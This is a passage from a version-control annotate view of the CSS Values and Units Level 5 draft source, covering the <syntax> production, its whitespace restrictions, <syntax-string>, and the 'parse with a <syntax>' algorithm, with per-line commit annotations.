class="source"></div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l269" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l343" id="l343"> 343</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l270" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l344" id="l344"> 344</a> </td> <td class="source">The <code>*</code> <<delim-token>> represents the [=universal syntax definition=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l271" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l345" id="l345"> 345</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l272" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l346" id="l346"> 346</a> </td> <td class="source">The <code>&lt;transform-list&gt;</code> production </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l273" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l347" id="l347"> 347</a> </td> <td class="source">is a convenience form equivalent to <code>&lt;transform-function&gt;+</code>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l274" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l348" id="l348"> 348</a> </td> <td class="source"><span class=note>Note that <code>&lt;transform-list&gt;</code> may not </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l275" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l349" id="l349"> 349</a> </td> <td class="source"> be followed by a <<syntax-multiplier>>.</span> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l276" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l350" id="l350"> 350</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l277" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l351" id="l351"> 351</a> </td> <td class="source">[=Whitespace=] is not allowed </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l278" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l352" id="l352"> 352</a> </td> <td class="source">between the angle bracket <<delim-token>>s (<code>&lt;</code> <code>&gt;</code>) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l280" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l353" id="l353"> 353</a> </td> <td class="source">and the <<syntax-type-name>> they enclose, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l280" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l354" id="l354"> 354</a> </td> <td class="source">nor is [=whitespace=] allowed to precede a <<syntax-multiplier>>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l281" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l355" id="l355"> 355</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l282" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l356" id="l356"> 356</a> </td> <td class="source">Note: The [=whitespace=] restrictions also apply to <code>&lt;transform-list&gt;</code>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l283" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l357" id="l357"> 357</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l285" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l358" id="l358"> 358</a> </td> <td class="source">A <<syntax-string>> is a <<string>> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l286" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l359" id="l359"> 359</a> </td> <td class="source">whose value successfully [=CSS/parses=] as a <<syntax>>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l287" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l360" id="l360"> 360</a> </td> <td class="source">and represents the same value as that <<syntax>> would. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l288" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l361" id="l361"> 361</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l289" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l362" id="l362"> 362</a> </td> <td class="source">Note: <<syntax-string>> mostly exists for historical purposes; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l290" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l363" id="l363"> 363</a> </td> <td class="source">before <<syntax>> was defined, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l291" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l364" id="l364"> 364</a> </td> <td class="source">the ''@property'' rule used a <<string>> for this purpose. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l292" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l365" id="l365"> 365</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l293" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l366" id="l366"> 366</a> </td> <td class="source"><h4 id=parse-syntax> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l294" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l367" id="l367"> 367</a> </td> <td class="source">Parsing as <<syntax>></h4> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l295" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l368" id="l368"> 368</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l296" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l369" id="l369"> 369</a> </td> <td class="source">The purpose of a <<syntax>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l297" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l370" id="l370"> 370</a> </td> <td class="source">is usually to specify how to parse another value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l298" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l371" id="l371"> 371</a> </td> <td class="source">(such as the value of a [=registered custom property=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l299" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l372" id="l372"> 372</a> </td> <td class="source">or an attribute value in ''attr()''). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l300" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l373" id="l373"> 373</a> </td> <td class="source">However, the generic [=CSS/parse something according to a CSS grammar=] algorithm </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l301" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l374" id="l374"> 374</a> </td> <td class="source">returns an unspecified internal structure, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l302" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l375" id="l375"> 375</a> </td> <td class="source">since parse results might be ambiguous </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l303" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l376" id="l376"> 376</a> </td> <td class="source">and need further massaging. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l304" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l377" id="l377"> 377</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l305" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l378" id="l378"> 378</a> </td> <td class="source">To avoid these issues and get a well-defined result, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l306" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l379" id="l379"> 379</a> </td> <td class="source">use [=parse with a &lt;syntax>=]: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l307" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l380" id="l380"> 380</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l308" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l381" id="l381"> 381</a> </td> <td class="source"><div algorithm> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l309" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l382" id="l382"> 382</a> </td> <td class="source"> To <dfn export>parse with a <<syntax>></dfn> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l310" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l383" id="l383"> 383</a> </td> <td class="source"> given a [=string=] or [=list=] or [=CSS/component values=] |values|, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l311" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l384" id="l384"> 384</a> </td> <td class="source"> a <<syntax>> value |syntax|, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l312" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l385" id="l385"> 385</a> </td> <td class="source"> and optionally an element |el| for context, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l313" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l386" id="l386"> 386</a> </td> <td class="source"> perform the following steps. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l314" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l387" id="l387"> 387</a> </td> <td class="source"> It returns either CSS values, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l315" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l388" id="l388"> 388</a> </td> <td class="source"> or the [=guaranteed-invalid value=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l316" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l389" id="l389"> 389</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l317" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l390" id="l390"> 390</a> </td> <td class="source"> 1. [=Parse a list of component values=] from |values|, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l318" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l391" id="l391"> 391</a> </td> <td class="source"> and let |raw parse| be the result. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l319" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l392" id="l392"> 392</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l320" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l393" id="l393"> 393</a> </td> <td class="source"> 2. If |el| was given, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l321" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l394" id="l394"> 394</a> </td> <td class="source"> [=substitute arbitrary substitution functions=] in |raw parse|, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l322" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l395" id="l395"> 395</a> </td> <td class="source"> and set |raw parse| to that result. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l323" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l396" id="l396"> 396</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l324" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l397" id="l397"> 397</a> </td> <td class="source"> 3. [=CSS/parse=] |values| according to |syntax|, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l325" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l398" id="l398"> 398</a> </td> <td class="source"> with a ''*'' value treated as <code><<declaration-value>>?</code>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l326" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l399" id="l399"> 399</a> </td> <td class="source"> and let |parsed result| be the result. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l327" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l400" id="l400"> 400</a> </td> <td class="source"> If |syntax| used a ''|'' combinator, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l328" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l401" id="l401"> 401</a> </td> <td class="source"> let |parsed result| be the parse result from the first matching clause. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l329" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l402" id="l402"> 402</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l330" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l403" id="l403"> 403</a> </td> <td class="source"> 4. If |parsed result| is failure, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l331" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l404" id="l404"> 404</a> </td> <td class="source"> return the [=guaranteed-invalid value=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l332" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l405" id="l405"> 405</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l333" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l406" id="l406"> 406</a> </td> <td class="source"> 5. Assert: |parsed result| is now a well-defined list of one or more CSS values, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l334" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l407" id="l407"> 407</a> </td> <td class="source"> since each branch of a <<syntax>> defines an unambiguous parse result </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l335" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l408" id="l408"> 408</a> </td> <td class="source"> (or the ''*'' syntax is unambiguous on its own). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l336" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l409" id="l409"> 409</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l337" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l410" id="l410"> 410</a> </td> <td class="source"> 6. Return |parsed result|. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l338" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l411" id="l411"> 411</a> </td> <td class="source"></div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l339" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l412" id="l412"> 412</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l340" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l413" id="l413"> 413</a> </td> <td class="source">Note: This algorithm does not resolved the parsed values </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l341" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l414" id="l414"> 414</a> </td> <td class="source">into [=computed values=]; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l342" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l415" id="l415"> 415</a> </td> <td class="source">the context in which the value is used will usually do that already, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l343" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l416" id="l416"> 416</a> </td> <td class="source">but if not, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l344" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l417" id="l417"> 417</a> </td> <td class="source">the invoking algorithm will need to handle that on its own. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l345" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l418" id="l418"> 418</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l346" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l419" id="l419"> 419</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l284" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l420" id="l420"> 420</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l175" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l421" id="l421"> 421</a> </td> <td class="source"><h2 id="level-4-extensions"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l176" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l422" id="l422"> 422</a> </td> <td class="source">Extensions to Level 4 Value Types</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l177" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l423" id="l423"> 